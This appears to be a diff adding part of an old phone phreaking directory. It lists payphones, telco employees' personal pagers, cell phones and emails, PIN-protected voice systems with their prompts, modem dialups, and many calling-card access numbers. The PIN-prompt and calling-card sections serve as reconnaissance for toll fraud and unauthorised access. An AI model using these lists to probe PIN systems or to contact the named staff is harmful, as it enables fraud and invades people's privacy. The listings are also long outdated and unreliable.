+1-877-66-TRIOS TriOS Training Centres. (MCSE, Unix, Novell)
+1-877-724-2647 "Security" loser.
+1-877-875-2762 Pioneer Help Line.
+1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline.
+1-877-940-BELL Bell Micro Products.
+1-888-25-GREAT Cleveland Hotline.
+1-888-256-5678 NCR AlertLine.
+1-888-339-1688 MediaOne.
+1-888-349-6972 Micron Electronics Technical Support.
+1-888-504-2355 "Tony Bell" from Remax.
+1-888-536-2355 "This is Ken Bell." (Voice)
+1-888-663-3279 Canada Trust Co.
+1-888-751-8088 Guinness World Records.
+1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only)
+1-888-STAR-602 Star Choice Customer Service. (Satellite television)
+1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch.
+1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!)
+
+-------------------------------------------------------------------------------
+ Payphones:
+-------------------------------------------------------------------------------
+
+(214) 381-9151 Vecta's Food Store on Jim Miller and Bruton Road Dallas, TX. (O)
+(214) 824-9028 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O)
+(214) 841-4719 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O)
+(214) 841-9840 Lizzard Lounge Dallas, TX. (O)
+(509) 332-0415 Payphone somewhere in Pullman, Washington. (A)
+(519) 322-2033 Point Pelee Park. (A) (O)
+(519) 570-9131 Kitchener, ON.
+(519) 571-5092 Paytel Payphone on Highland Rd at GOCO gas station. (C) (O)
+(519) 576-0354 Paytel Payphone on Weber Street in Kitchener, ON. (C) (O)
+(519) 576-5239 King Street Kitchener, ON. (M) (O)
+(519) 576-9444 King Street Kitchener, ON. (M) (O)
+(519) 578-9318 Highland Road Kitchener, ON. (M) (O)
+(519) 579-2111 Wink's Sunoco on Highland Rd Kitchener, ON. (M) (O)
+(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O)
+(519) 746-0329 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 746-1488 University of Waterloo Davis Centre. (M) (I)
+(519) 746-1488 University of Waterloo. (M) (I)
+(519) 746-1838 University of Waterloo Davis Centre. (DM) (I)
+(519) 746-1856 Wilfred Laurier University Aird Dining Hall East. (M) (I)
+(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-2801 University of Waterloo Davis Centre. (M) (I)
+(519) 746-2801 University of Waterloo. (M) (I)
+(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-4006 University of Waterloo Davis Centre Library entrance. (DM) (I)
+(519) 746-4606 University of Waterloo. (M) (I)
+(519) 746-4654 UofW South Campus Physical Activities Center. (DM) (I)
+(519) 746-6280 University of Waterloo. (M) (I)
+(519) 746-6434 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-7107 WLU Alvin Wood Concourse. (M) (I)
+(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-8751 University of Waterloo Davis Centre Library entrance. (DM) (I)
+(519) 746-8751 University of Waterloo. (M) (I)
+(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-9093 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9094 University of Waterloo. (M) (I)
+(519) 746-9113 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9115 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9134 WLU Aird First Floor Dining Hall Lower Level. (M) (I)
+(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I)
+(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9208 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9209 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9236 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9241 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9252 Wilfred Laurier University Library Basement. (M) (I)
+(519) 746-9263 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9271 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9273 Wilfred Laurier University Alvin Wood Concourse. (M) (I)
+(519) 746-9277 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9368 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9497 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9498 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9580 Wilfred Laurier University Library Basement. (M) (I)
+(519) 746-9591 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9591 University of Waterloo. (M) (I)
+(519) 746-9592 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9593 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9594 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9602 WLU Aird First Floor Dining Hall Lower Level. (M) (I)
+(519) 746-9624 Wilfred Laurier University Aird Dining Hall East. (M) (I)
+(519) 746-9626 UofW South Campus Bus Stop near Davis Centre Library. (M) (O)
+(519) 746-9628 UofW South Campus Bus Stop on Ring Road. (M) (O)
+(519) 746-9630 UofW South Campus Ira G Needles Hall Bus Stop. (M) (O)
+(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O)
+(519) 747-5773 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O)
+(519) 747-9422 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O)
+(519) 749-7015 1st Canadian Telecom at Belmont Short Stop Kitchener. (C) (O)
+(519) 749-8011 1st Canadian Telecom at Highland Short Stop Kitchener. (C) (O)
+(519) 749-8857 Paytel on University Ave and Moore in Waterloo, ON. (C) (O)
+(519) 749-8877 1st Canadian Telecom at Queen St. Short Stop Kitchener. (C) (O)
+(519) 749-9081 Mr. Sub on Highland and Westmount Kitchener, ON. (CE) (O)
+(519) 749-9113 Medical Center at 18 Pine St. Kitchener First Floor. (CE) (I)
+(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9357 King and Gaukel Street Kitchener, ON. (M) (O)
+(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9462 AT&T Canada payphone at Esso on Fisher Hallman. (C) (O)
+(519) 749-9470 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O)
+(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O)
+(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O)
+(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O)
+(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O)
+(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9786 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O)
+(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O)
+(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 883-8361 Wilfred Laurier University Alvin Wood Concourse. (M) (I)
+(519) 885-3211 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 885-3297 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 885-5058 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 886-7899 UofW South Campus Physical Activities Center. (M) (I)
+(519) 886-8112 UofW South Campus Physical Activities Center. (M) (I)
+(519) 886-8330 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-0094 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-0107 Wilfred Laurier University Students Union Ground Floor. (M) (I)
+(519) 888-0837 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-6434 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-7236 University Shops Plaza II Williams Coffee Pub. (M) (I)
+(519) 888-9046 Wilfred Laurier University Students Union. (M) (I)
+(519) 888-9074 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-9309 Wilfred Laurier University Students Union. (M) (I)
+(519) 894-5919 AT&T Canada payphone at Esso on Courtland & Manitou. (C) (O)
+(705) 328-9710 Payphone at 98 Albert St. in Lindsay, ON. (A) (O)
+(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O)
+(810) 784-9018 Armada, Michigan High School. (A) (I)
+(905) 946-9953 Coffee Time in Markham, ON. (A) (I)
+
+(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium,
+(I)=Indoors, (M)=Millennium, (O)=Outdoors.
+
+For more payphone numbers, visit www.payphone-directory.org
+
+
+-------------------------------------------------------------------------------
+ Telco Employees (Answering Machines and Pagers):
+-------------------------------------------------------------------------------
+
+(204) 941-7654 June Kirby MTS Director Corporate Communications.
+(204) 941-8283 Brad Woods MTS Director Investor Relations.
+(317) 265-2539 Jim L. Bayless with Ameritech Indiana Security.
+(416) 350-0573 Bell Canada Media Relations (Irene Shimoda)
+(416) 377-3724 Mike Turner's Pager (works for Bell)
+(416) 379-2117 Dave Twiner's Pager (works for Bell)
+(416) 452-4626 Caroline Verboon of GPC. (cell phone)
+(416) 453-5501 George Ross with Telecom Canada. (cell phone)
+(416) 581-3311 Bell Canada Media Relations (Don Hogarth)
+(416) 581-3311 irene.shimoda@bell.ca
+(416) 598-0055 GPC Communications (Caroline Verboon)
+(416) 941-7026 Bell Canada Media Relations Pager. (Irene Shimoda)
+(514) 391-2007 Bell Canada Media Relations (Louis Arseneault)
+(514) 786-3655 shirley.bishop@bell.ca
+(514) 786-3908 Jean-Charles Robillard with Bell Canada.
+(514) 870-2488 Bell Canada Investor Relations (Frank Miscio)
+(514) 918-3617 Jean-Charles Robillard (cell phone)
+(604) 432-2663 Doug Strachan with TELUS.
+(613) 660-1186 Bell Canada's Voice Information Processing System.
+(613) 660-2355 Bell Canada's Voice Information Processing System.
+(613) 660-6708 Roxanne Halverson with Bell Canada.
+(613) 660-6709 Bell Canada's Voice Information Processing System.
+(613) 660-6710 Stentor Communications. (Isabelle Lanteigne)
+(613) 660-6711 Stentor Communications. (French employee)
+(613) 660-6712 Stentor Communications. (Louisse)
+(613) 660-6713 Stentor Emergency Operations Centre.
+(613) 660-6982 Stentor 2000 Information Line.
+
+1-800-272-4835 Steve Freedlander with Ameritech. (Answering Machine)
+1-800-407-2355 John with Southwestern Bell Wireless.
+1-800-455-6813 Jack Hogan of MCI WorldCom's Pager.
+1-800-465-9625 Bell Canada Media Relations (Shirley Bishop)
+1-800-483-6390 Scott's Pager (Qwest Communications)
+1-800-483-7695 Scott from Americom's Pager/Voicemail.
+1-800-493-2603 Kimberly Smith at Qwest Communications.
+1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine)
+1-800-661-0480 Debbie Southerland of Bell ActiMedia.
+1-800-808-8334 David Miller with MCI WorldCom in Tucson. (Answering Machine)
+1-800-939-6680 John Ryan of AT&T Network Engineering's Pager.
+1-877-391-2007 Bell Canada Media Relations (Louis Arseneault)
+1-888-482-0809 Bell Canada Media Relations (Irene Shimoda)
+
+
+-------------------------------------------------------------------------------
+ Numbers that Require PINs:
+-------------------------------------------------------------------------------
+
+(416) 350-9024 "Enter your PIN number now."
+1-800-235-3155 "Welcome. Enter the PIN number you wish."
+1-800-249-6245 "Please enter your 7 digit access code."
+1-800-309-6678 "Please enter your PIN number now."
+1-800-352-8201 "Please enter your 4 digit PIN."
+1-800-525-7877 "Please enter your 4 digit PIN."
+1-800-549-6245 "Welcome. Enter the PIN number you wish."
+1-800-555-2250 "Enter the PIN number you wish."
+1-800-566-6245 "Please enter your four digit PIN."
+1-800-643-6245 "Enter ID number immediately followed by your security code."
+1-800-749-4200 "Enter the PIN number you wish."
+1-800-827-4780 "Please enter your PIN number."
+1-800-827-9910 SkyTel. "Enter the PIN number you wish."
+1-800-862-6340 "Please enter your 4 digit PIN."
+1-888-612-2355 "Enter the PIN number you wish."
+1-888-614-2355 "Enter the PIN number you wish."
+1-888-623-2355 "Enter the PIN number you wish."
+1-888-684-4466 "Enter the PIN number you wish."
+
+
+-------------------------------------------------------------------------------
+ Carriers:
+-------------------------------------------------------------------------------
+
+(416) 361-3028 MCI/CompuServe Dialup.
+(416) 594-1121 SprintNet Dialup.
+(519) 821-4950 AT&T Canada PSN. (dialup with 40 lines)
+(905) 470-7122 Toshiba Canada BBS.
+1-800-222-0555 Tymnet Dialup.
+1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping)
+1-800-234-6245 MCI (USA)
+1-800-283-5474 Okidata (inside joke!)
+1-800-346-3247 CompuServe.
+1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN
+1-800-546-2500 Sprint's online directory of SprintNet local access numbers.
+1-800-565-8805 Datapac WATS access number.
+1-800-604-6245 Digital Equipment Corporation.
+1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit.
+1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines)
+1-800-843-0378 MCI/CompuServe Dialup.
+1-800-848-4480 MCI WorldCom Network Assistance. (lists local access numbers)
+1-803-939-8207 NCR Global Support Center BBS. (9 lines)
+
+(Use the N-8-1 setting to connect to the carriers above.)
+
+
+-------------------------------------------------------------------------------
+ Cellular, PCS, Messaging and Paging Services:
+-------------------------------------------------------------------------------
+
+1-800-214-4488 Wireless Solutions Hotline.
+1-800-222-8466 Cellular Rentals.
+1-800-225-5152 Nationwide Messaging.
+1-800-227-3663 (1-800-CAR-FONE) Ericsson.
+1-800-235-1414 National Telewire Message Centre.
+1-800-244-7464 Scot Forge. (Mobile Telephone Equipment)
+1-800-258-2669 Answer America. (Telephone Answering Service)
+1-800-263-7536 Nokia Mobile Phones.
+1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center.
+1-800-267-9010 Message Center Dispatch.
+1-800-270-6000 Cleartel's Universal Roaming Service for Personal 800 Users.
+1-800-274-3127 MobileCom's National Customer Service Center.
+1-800-320-3488 Motorola Radio Network Services. (San Diego, CA)
+1-800-329-7402 ProPage (Paging and Voicemail)
+1-800-331-6456 Motorola Cellular.
+1-800-333-6414 Answerfone, Inc. (Answering Service)
+1-800-346-0196 Nationwide Messaging.
+1-800-361-1319 Motorola Canada.
+1-800-367-2346 Motorola Telecommunications Administration.
+1-800-374-2355 InterCall.
+1-800-374-2776 (1-800-ERICSSON) Ericsson Mobile Phones Customer Care Center.
+1-800-377-2288 Mountain West Communications. (Telephone Answering Service)
+1-800-381-7707 Rogers Cantel Service. (Barrie, ON)
+1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals)
+1-800-405-6543 American Mobile.
+1-800-411-2355 Car Phone Store.
+1-800-432-2355 Air Touch Paging.
+1-800-438-2355 Kentucky Cellular.
+1-800-443-5464 Cue Paging Customer Service.
+1-800-446-6744 Motorola Supplier/Customer Training Services.
+1-800-452-2355 Appalacian Wireless.
+1-800-453-0920 Motorola IDEN Customer Services.
+1-800-455-2948 SkyWard Message Center.
+1-800-456-3333 SkyTel National Sales Center.
+1-800-460-2255 Pager Service.
+1-800-461-4575 Motorola Cellular Customer Service.
+1-800-474-2355 OmniCell Technologies Incorporated.
+1-800-481-2355 ATI Cellular.
+1-800-483-5010 Cellular Express.
+1-800-488-2355 Cellular 2000.
+1-800-496-2355 Nationlink.
+1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.)
+1-800-523-2337 ProPage.
+1-800-535-2489 Cellular City in Las Vegas, NV (Cellular Rentals and Service)
+1-800-538-4715 Le Tip International. (Paging, Signaling Equipment and Systems)
+1-800-543-7658 Cue Paging Customer Service.
+1-800-547-8444 B&B Beepers Activation Line.
+1-800-548-7172 Comstock Answering and Services.
+1-800-549-2355 Advanced Cellular and Paging.
+1-800-569-8840 Answer Point Telephone Equipment. (Reno, NV)
+1-800-590-2355 ATI Cellular.
+1-800-613-2355 Cellular Unlimited.
+1-800-625-8885 Tab Beepers. (Wireless Communications)
+1-800-626-2636 SNET Page 2000. (Paging Services)
+1-800-634-0958 Palco Telecom Service Inc. (Telephone Equipment and Repairs)
+1-800-638-2355 Comcev Cellular Communications.
+1-800-642-9378 Mountain West Communications. (Telephone Answering Service)
+1-800-654-6115 Business Communications Distributors (BCD) Telephone Equipment.
+1-800-667-7243 Cantel AT&T Paging.
+1-800-673-2355 Quintex Cellular.
+1-800-6AIR-TOUCH Air Touch Paging Canada.
+1-800-705-2355 OmniCell Technical Department VMS.
+1-800-706-2355 Paging Service Center.
+1-800-724-2355 AllCell Rentals.
+1-800-742-2355 Mobile Media.
+1-800-749-9977 TSR Wireless.
+1-800-759-2355 Plymouth Bell Laboratories.
+1-800-765-2355 Isralink Communications. (Israeli Cell phones)
+1-800-794-2355 Advantage Communications Systems.
+1-800-806-2355 Advantage Paging.
+1-800-821-2355 MobileCom.
+1-800-821-5425 Metro-Call. (Paging, Signaling Equipment and Systems)
+1-800-824-2337 The Wireless Store.
+1-800-824-9755 Cue Paging Sales. (Paging, Signaling Equipment and Systems)
+1-800-825-2222 The 800 Connection. (Answering Service)
+1-800-825-2255 Metro-Call Customer Service. (Pager service)
+1-800-854-2355 MobileCall accounts.
+1-800-858-8828 Cue Paging Corporation.
+1-800-861-3701 Nationwide Messaging.
+1-800-866-2770 MobileCom. (Pager service)
+1-800-866-7000 MobileCom.
+1-800-871-2355 The Phone Man. (I'm fucking serious... Haha)
+1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only)
+1-800-874-6387 Trellis Communications.
+1-800-887-2255 Trellis Premier Voice Mail and Paging.
+1-800-890-7243 Metro-Call Pagers.
+1-800-922-5469 SNET Wireless Services.
+1-800-926-2355 Ubet Wireless.
+1-800-951-2355 Cantel Communications.
+1-800-969-9998 Cable and Wireless USA.
+1-800-980-2355 Light Cellular.
+1-800-999-6500 Cable and Wireless Customer Care Center.
+1-800-NEWTEL-1 American Wireless.
+1-800-SKY-8888 SkyTel System Access.
+1-800-SKY-FAXE SkyFax (SkyTel Faxing)
+1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging)
+1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging)
+1-800-SKY-TALK SkyTalk (SkyTel Voice Mail)
+1-800-SKYTEL-5 SkyTel.
+1-800-WIRELESS Page USA.
+1-877-240-1267 Cantel Centre De Communication Tech.
+1-877-255-CELL InTouch Cellular.
+1-877-289-CELL ATX Cellular Department.
+1-877-360-CELL Cellhigher USA. (cell phone rentals)
+1-877-392-CELL Connect Cell Incorporated.
+1-877-4-BELLCO Cellular Connection.
+1-877-463-CELL PrimeCell.
+1-877-489-CELL PageNet's Wireless Messaging Network.
+1-877-498-CELL Portables.
+1-877-499-1270 PageNet Wireless Messaging Network.
+1-877-502-CELL Cellular Technologies.
+1-877-503-CELL Wireless Solutions.
+1-877-601-CELL Go Cellular.
+1-877-631-CELL Cellular Connections. (Authorized Verizon Wireless Dealer)
+1-877-643-CELL Action One Cellular.
+1-877-730-CELL Deltacom. (Nextel Dealer/Representative)
+1-877-845-CELL Capital City Cellular. (Authorized Rogers AT&T Wireless Dealer)
+1-877-873-CELL Discover Communications. (Rogers AT&T Wireless)
+1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular.
+1-877-954-CELL CelluWorld.
+1-877-965-CELL Advanced Communications.
+1-877-969-CELL Microcell.
+1-877-991-CELL Univercell (cell phone rentals)
+1-877-AIRFONE Message Center.
+1-877-CELLPHONE Travel Phone. (Cellular Sales)
+1-877-MOTOROLA Motorola.
+1-877-NEWTEL-1 Mobile Communications
+1-877-ROGERS-1 Rogers Corporation.
+1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System.
+1-877-SATPHONE Globalstar Customer Care. (Satellite Communications)
+1-877-USA-CELL USA Cell.
+1-877-WIRELESS Cellular Depot.
+1-888-229-4443 Cantel AT&T Canada.
+1-888-257-8826 Cantel Centre de Communication.
+1-888-300-2355 Consolidated Wireless Corporation.
+1-888-444-2355 Maricell Cellular.
+1-888-481-FIDO Fido PCS Services.
+1-888-540-2222 Clearnet Business Communications Center.
+1-888-593-2355 S&E Cellular.
+1-888-594-SNET SNET Prepaid Cellular Services.
+1-888-622-RENT Rent Express. (Bell Mobility phone rentals)
+1-888-638-2355 Cantel AT&T.
+1-888-642-MIKE Mike Clearnet.
+1-888-694-2355 Corporate Communications at AirTouch Customer Service.
+1-888-736-8567 Motorola.
+1-888-801-2355 Cell Phones and Accessories.
+1-888-877-2355 Comcev Communications.
+1-888-879-2355 Portable Communications. (The home of the Phone Man)
+1-888-901-2355 Digital Communications.
+1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.)
+1-888-968-2355 Everything Wireless.
+1-888-999-2355 Downtown Wireless.
+1-888-BUY-CELL Total Communications Rogers AT&T.
+1-888-CELL-COM CellCom and PageCom.
+1-888-MOTOROLA Motorola.
+1-888-WIRELESS Page USA.
+
+
+-------------------------------------------------------------------------------
+ Free Disks:
+-------------------------------------------------------------------------------
+
+1-800-232-7638 AEC Software Technical Support. (free Windows or Mac disk)
+1-800-395-8425 EarthLink Sprint Sales.
+1-800-453-3972 Datatrack (ask for Windows Atlas Equipment Manager demo disk)
+1-800-487-4838 CompuServe.
+1-800-554-4008 Discovery Channel (3 free disks for Internet software)
+1-800-638-2661 EarthLink.
+1-800-742-5877 UPS (ask for their shipping software for a free disk & CD)
+1-800-773-4638 Primus Canada.
+1-800-777-9638 (1-800-SPRYNET) Sprynet - Gives you two disks.
+1-800-786-7638 (1-800-SUNSOFT) SunSoft - Free 30-day evaluation disk. (press 1)
+1-800-827-6364 America Online.
+1-800-973-1335 Suretrack Sales. (ask for a free demo disk)
+1-800-FREE-MSN Micro$oft Network Canada.
+1-800-PRODIGY Prodigy Internet Services.
+1-877-288-6626 AT&T Canada Internet Service.
+1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks)
+1-888-288-1233 AT&T Canada Internet Service.
+
+
+-------------------------------------------------------------------------------
+ Calling Cards:
+-------------------------------------------------------------------------------
+
+1-800-213-0304 Talk `n Toss Calling Card.
+1-800-213-4222 Calling Card.
+1-800-225-2255 ATN Communications. (collect, calling & credit card calls)
+1-800-225-4288 ATN Communications. (collect, credit, calling card)
+1-800-225-5128 NOS automated collect, credit and calling card calls.
+1-800-225-5228 ATN Communications. (collect, credit, calling card)
+1-800-225-5233 NOS automated collect, credit and calling card calls.
+1-800-225-5268 ATN Communications. (collect, credit, calling card)
+1-800-225-5475 Smart Cards USA.
+1-800-225-5607 NOS automated collect, credit and calling card calls.
+1-800-255-8355 AllTel Calling Cards.
+1-800-265-3121 Prepaid LD.
+1-800-267-3000 World Direct calling card calls.
+1-800-270-1111 "Please enter your card number."
+1-800-270-3000 "Please enter your card number."
+1-800-270-5000 "Please enter your card number."
+1-800-270-7000 "Please enter your card number."
+1-800-276-2355 Frontier Communications Customer Service.
+1-800-277-7468 Sprint Phone Card Calls (press 1)
+1-800-279-6111 Unidial Calling Card.
+1-800-284-2255 ATN Communications. (collect, credit, calling card)
+1-800-300-2355 NOS. (calling card, collect calls, etc.)
+1-800-303-5156 OLA Ontario Pre-paid calling card.
+1-800-361-7227 HELLO! Phone Pass Prepaid Customer Service Center.
+1-800-393-0711 7-11 Calling Cards.
+1-800-396-2454 Tech-Card Customer Service.
+1-800-423-4343 AT&T Calling Cards (16 digit code) (automated)
+1-800-429-8036 OLA Ontario Pre-paid calling cards Customer Service.
+1-800-437-6404 Champs Sports Calling Card (9 digit code)
+1-800-437-6415 Coca-Cola prepaid phone card dialup.
+1-800-437-9291 Star Telecom Network "Please enter your card number."
+1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (pre-paid phone cards, etc.)
+1-800-463-0004 "Please enter your card number and PIN."
+1-800-475-9105 Pre-paid calling cards Customer Service.
+1-800-477-9692 ATN Customer Service and Calling Cards.
+1-800-484-2266 MCI WorldCom. (4 Digit Security Code)
+1-800-484-6245 MCI. (4 Digit Security Code)
+1-800-519-1111 Pronto. "Please enter your PIN number now."
+1-800-522-2020 Pacific Bell calling card calls.
+1-800-525-5288 ATN Communications.
+1-800-536-3273 Frontier Customer Service.
+1-800-546-9639 Bell Atlantic collect/calling card calls.
+1-800-555-1234 NOS automated collect, credit and calling card calls.
+1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc.
+1-800-555-5321 SNET Calling Card Calls.
+1-800-555-COKE Coca-Cola Calling Cards.
+1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-572-6361 Pepsi Phone Card.
+1-800-576-2255 Frontier Communications Customer Service.
+1-800-633-2255 NOS automated collect, credit and calling card calls.
+1-800-662-6214 AT&T Calling Cards.
+1-800-666-2657 "Please enter your calling card number."
+1-800-674-0700 MCI WorldCom calling cards.
+1-800-674-6245 Musical Notes and then "Please enter your card number now."
+1-800-674-7325 MCI Calling Card.
+1-800-674-9997 MCI Calling Card.
+1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-725-5288 ATN Communications.
+1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.)
+1-800-741-7200 MCI WorldCom calling cards.
+1-800-783-1414 Frontier Access Card.
+1-800-783-1444 Frontier Access collect/calling card calls.
+1-800-783-2020 Frontier Communications Customer Service.
+1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated)
+1-800-814-2808 Sprint Prepaid calling card service.
+1-800-827-8750 "Please enter your calling card number."
+1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number."
+1-800-860-4444 Qwest Communications. (calling card calls)
+1-800-860-6000 Qwest Communications calling cards.
+1-800-864-7000 Premier World Link Access Number.
+1-800-879-3782 NOS (automated collect, credit, calling card calls)
+1-800-909-3191 Tech-Card (William Shatner)
+1-800-909-3206 MCI WorldCom Pre-paid Card System.
+1-800-909-3207 MCI WorldCom Pre-paid Card System.
+1-800-909-3212 MCI WorldCom Pre-paid Card System.
+1-800-909-3214 GTN-Phone Card System.
+1-800-909-3215 Pre-paid Calling Card System.
+1-800-909-3217 1-800 Pre-paid.
+1-800-909-3218 1-800 Pre-paid.
+1-800-909-3219 1-800 Pre-paid.
+1-800-909-3225 MCI WorldCom Pre-paid Card System.
+1-800-909-3231 MCI WorldCom Pre-paid Card System.
+1-800-909-3236 MCI WorldCom Pre-paid Card System.
+1-800-909-3240 MCI WorldCom Pre-paid Card System.
+1-800-909-3242 MCI WorldCom Pre-paid Card System.
+1-800-909-3245 MCI-Exchange Card Service.
+1-800-909-3477 Pre-paid Long-Distance Service.
+1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC)
+1-800-909-3640 MCI WorldCom Pre-paid Card System.
+1-800-909-3641 MCI WorldCom Pre-paid Card System.
+1-800-909-3642 MCI WorldCom Pre-paid Card System.
+1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System)
+1-800-909-3646 MCI WorldCom Pre-paid Card System.
+1-800-909-3653 MCI WorldCom Pre-paid Card System.
+1-800-909-3654 MCI WorldCom Pre-paid Card System.
+1-800-909-3657 MCI WorldCom Pre-paid Card System.
+1-800-909-3661 Pre-paid Calling Card System.
+1-800-909-4495 Calling Card System (Insimity Point Security Code)
+1-800-934-8642 VoiceNet Calling Cards (New York, NY)
+1-800-950-1077 GCI Long Distance. (Alaska)
+1-800-997-6245 Decoma calling card service. "Please enter your card number."
+1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now."
+1-800-BCE-HELP Ideal Dial's Telecard Platform.
+1-800-DIAL-166 ATN Communications.
+1-800-EASY-TEL EasyTel Calling Card Calls.
+1-800-ONE-DIME Sprint's 1-800 One Dime.
+1-800-PRE-PAID 1-800 Pre-paid.
+1-800-YOU-SAVE Collect, Calling Card, Credit Card Calls.
+1-877-258-9088 Globo Prepaid Phone Cards Customer Service.
+1-877-WILLIAMS Williams Long Distance Calling Card Calls.
+1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN)
+1-888-818-4266 GST calling cards.
+
+
+-------------------------------------------------------------------------------
+ Teleconferencing:
+-------------------------------------------------------------------------------
+
+1-800-225-5100 AT&T Corporate Teleconferencing.
+1-800-225-5500 Teleconference Assistance.
+1-800-225-5700 AT&T Teleconferencing.
+1-800-232-1234 AT&T Teleconferencing.
+1-800-235-0900 AT&T Teleconferencing. (Spanish and English)
